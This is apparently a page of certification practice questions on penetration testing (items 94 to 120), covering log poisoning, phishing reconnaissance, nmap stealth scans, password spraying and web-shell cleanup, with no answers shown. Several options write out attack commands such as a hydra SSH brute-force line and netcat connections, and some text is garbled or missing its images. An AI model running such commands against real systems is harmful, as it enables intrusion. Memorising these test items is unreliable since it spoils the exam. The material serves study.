During an assessment, a penetration tester manages to exploit an LFI vulnerability and browse the web log for a target Apache server. Which of the following steps would the penetration tester most likely try NEXT to further exploit the web server? (Choose two.)

Options:

A.

Cross-site scripting

B.

Server-side request forgery

C.

SQL injection

D.

Log poisoning

E.

Cross-site request forgery

F.

Command injection

Question 95

Company.com has hired a penetration tester to conduct a phishing test. The tester wants to set up a fake log-in page and harvest credentials when target employees click on links in a phishing email. Which of the following commands would best help the tester determine which cloud email provider the log-in page needs to mimic?

Options:

A.

dig company.com MX

B.

whois company.com

C.

cur1 www.company.com

D.

dig company.com A

Question 96

During an assessment, a penetration tester inspected a log and found a series of thousands of requests coming from a single IP address to the same URL. A few of the requests are listed below.

Question # 96

Which of the following vulnerabilities was the attacker trying to exploit?

Options:

A.

..Session hijacking

B.

..URL manipulation

C.

..SQL injection

D.

..Insecure direct object reference

Question 97

During the assessment of a client's cloud and on-premises environments, a penetration tester was able to gain ownership of a storage object within the cloud environment using the provided on-premises credentials. Which of the following best describes why the tester was able to gain access?

Options:

A.

Federation misconfiguration of the container

B.

Key mismanagement between the environments

C.

laaS failure at the provider

D.

Container listed in the public domain

Question 98

A CentOS computer was exploited during a penetration test. During initial reconnaissance, the penetration tester discovered that port 25 was open on an internal

Sendmail server. To remain stealthy, the tester ran the following command from the attack machine:

Question # 98

Which of the following would be the BEST command to use for further progress into the targeted network?

Options:

A.

nc 10.10.1.2

B.

ssh 10.10.1.2

C.

nc 127.0.0.1 5555

D.

ssh 127.0.0.1 5555

Question 99

A company has recruited a penetration tester to conduct a vulnerability scan over the network. The test is confirmed to be on a known environment. Which of the following would be the BEST option to identify a system properly prior to performing the assessment?

Options:

A.

Asset inventory

B.

DNS records

C.

Web-application scan

D.

Full scan

Question 100

An assessor wants to run an Nmap scan as quietly as possible. Which of the following commands will give the LEAST chance of detection?

Options:

A.

nmap -"T3 192.168.0.1

B.

nmap - "P0 192.168.0.1

C.

nmap - T0 192.168.0.1

D.

nmap - A 192.168.0.1

Question 101

A penetration tester joins the assessment team in the middle of the assessment. The client has asked the team, both verbally and in the scoping document, not to test the production networks. However, the new tester is not aware of this request and proceeds to perform exploits in the production environment. Which of the following would have MOST effectively prevented this misunderstanding?

Options:

A.

Prohibiting exploitation in the production environment

B.

Requiring all testers to review the scoping document carefully

C.

Never assessing the production networks

D.

Prohibiting testers from joining the team during the assessment

Question 102

A penetration tester gives the following command to a systems administrator to execute on one of the target servers:

rm -f /var/www/html/G679h32gYu.php

Which of the following BEST explains why the penetration tester wants this command executed?

Options:

A.

To trick the systems administrator into installing a rootkit

B.

To close down a reverse shell

C.

To remove a web shell after the penetration test

D.

To delete credentials the tester created

Question 103

A penetration tester learned that when users request password resets, help desk analysts change users' passwords to 123change. The penetration tester decides to brute force an internet-facing webmail to check which users are still using the temporary password. The tester configures the brute-force tool to test usernames found on a text file and the... Which of the following techniques is the penetration tester using?

Options:

A.

Password brute force attack

B.

SQL injection

C.

Password spraying

D.

Kerberoasting

Question 104

Given the following code:

Question # 104

Which of the following data structures is systems?

Options:

A.

A tuple

B.

A tree

C.

An array

D.

A dictionary

Question 105

A penetration tester is conducting an unknown environment test and gathering additional information that can be used for later stages of an assessment. Which of the following would most likely produce useful information for additional testing?

Options:

A.

Searching for code repositories associated with a developer who previously worked for the target company code repositories associated with the

B.

Searching for code repositories target company's organization

C.

Searching for code repositories associated with the target company's organization

D.

Searching for code repositories associated with a developer who previously worked for the target company

Question 106

A penetration tester discovered a code repository and noticed passwords were hashed before they were stored in the database with the following code? salt = ‘123’ hash = hashlib.pbkdf2_hmac(‘sha256’, plaintext, salt, 10000) The tester recommended the code be updated to the following salt = os.urandom(32) hash = hashlib.pbkdf2_hmac(‘sha256’, plaintext, salt, 10000) Which of the following steps should the penetration tester recommend?

Options:

A.

Changing passwords that were created before this code update

B.

Keeping hashes created by both methods for compatibility

C.

Rehashing all old passwords with the new code

D.

Replacing the SHA-256 algorithm to something more secure

Question 107

A security analyst needs to perform a scan for SMB port 445 over a/16 network. Which of the following commands would be the BEST option when stealth is not a concern and the task is time sensitive?

Options:

A.

Nmap -s 445 -Pn -T5 172.21.0.0/16

B.

Nmap -p 445 -n -T4 -open 172.21.0.0/16

C.

Nmap -sV --script=smb* 172.21.0.0/16

D.

Nmap -p 445 -max -sT 172. 21.0.0/16

Question 108

SIMULATION

Using the output, identify potential attack vectors that should be further investigated.

Question # 108

Question # 108

Question # 108

Question # 108

Question # 108

Options:

Question 109

A penetration tester has established an on-path position between a target host and local network services but has not been able to establish an on-path position between the target host and the Internet. Regardless, the tester would like to subtly redirect HTTP connections to a spoofed server IP. Which of the following methods would BEST support the objective?

Options:

A.

Gain access to the target host and implant malware specially crafted for this purpose.

B.

Exploit the local DNS server and add/update the zone records with a spoofed A record.

C.

Use the Scapy utility to overwrite name resolution fields in the DNS query response.

D.

Proxy HTTP connections from the target host to that of the spoofed host.

Question 110

A penetration tester is conducting a penetration test. The tester obtains a root-level shell on a Linux server and discovers the following data in a file named password.txt in the /home/svsacct directory:

U3VQZXIkM2NyZXQhCg==

Which of the following commands should the tester use NEXT to decode the contents of the file?

Options:

A.

echo U3VQZXIkM2NyZXQhCg== | base64 ג€"d

B.

tar zxvf password.txt

C.

hydra ג€"l svsacct ג€"p U3VQZXIkM2NyZXQhCg== ssh://192.168.1.0/24

D.

john --wordlist /usr/share/seclists/rockyou.txt password.txt

Question 111

A penetration tester is required to perform a vulnerability scan that reduces the likelihood of false positives and increases the true positives of the results. Which of the following would MOST likely accomplish this goal?

Options:

A.

Using OpenVAS in default mode

B.

Using Nessus with credentials

C.

Using Nmap as the root user

D.

Using OWASP ZAP

Question 112

During an internal penetration test against a company, a penetration tester was able to navigate to another part of the network and locate a folder containing customer information such as addresses, phone numbers, and credit card numbers. To be PCI compliant, which of the following should the company have implemented to BEST protect this data?

Options:

A.

Vulnerability scanning

B.

Network segmentation

C.

System hardening

D.

Intrusion detection

Question 113

During an assessment, a penetration tester obtains a list of 30 email addresses by crawling the target company's website and then creates a list of possible usernames based on the email address format. Which of the following types of attacks would MOST likely be used to avoid account lockout?

Options:

A.

Mask

B.

Rainbow

C.

Dictionary

D.

Password spraying

Question 114

A penetration tester, who is doing an assessment, discovers an administrator has been exfiltrating proprietary company information. The administrator offers to pay the tester to keep quiet. Which of the following is the BEST action for the tester to take?

Options:

A.

Check the scoping document to determine if exfiltration is within scope.

B.

Stop the penetration test.

C.

Escalate the issue.

D.

Include the discovery and interaction in the daily report.

Question 115

When accessing the URL http://192.168.0-1/validate/user.php, a penetration tester obtained the following output:

..d index: eid in /apache/www/validate/user.php line 12

..d index: uid in /apache/www/validate/user.php line 13

..d index: pw in /apache/www/validate/user.php line 14

..d index: acl in /apache/www/validate/user.php line 15

Options:

A.

Lack of code signing

B.

Incorrect command syntax

C.

Insufficient error handling

D.

Insecure data transmission

Question 116

The delivery of a penetration test within an organization requires defining specific parameters regarding the nature and types of exercises that can be conducted and when they can be conducted. Which of the following BEST identifies this concept?

Options:

A.

Statement of work

B.

Program scope

C.

Non-disclosure agreement

D.

Rules of engagement

Question 117

Which of the following OSSTM testing methodologies should be used to test under the worst conditions?

Options:

A.

Tandem

B.

Reversal

C.

Semi-authorized

D.

Known environment

Question 118

During a penetration test, a tester is in close proximity to a corporate mobile device belonging to a network administrator that is broadcasting Bluetooth frames.

Which of the following is an example of a Bluesnarfing attack that the penetration tester can perform?

Options:

A.

Sniff and then crack the WPS PIN on an associated WiFi device.

B.

Dump the user address book on the device.

C.

Break a connection between two Bluetooth devices.

D.

Transmit text messages to the device.

Question 119

A penetration tester is conducting an engagement against an internet-facing web application and planning a phishing campaign. Which of the following is the BEST passive method of obtaining the technical contacts for the website?

Options:

A.

WHOIS domain lookup

B.

Job listing and recruitment ads

C.

SSL certificate information

D.

Public data breach dumps

Question 120

During an assessment, a penetration tester was able to access the organization's wireless network from outside of the building using a laptop running Aircrack-ng. Which of the following should be recommended to the client to remediate this issue?

Options:

A.

Changing to Wi-Fi equipment that supports strong encryption

B.

Using directional antennae

C.

Using WEP encryption

D.

Disabling Wi-Fi

Page: 1 / 40
Total 396 questions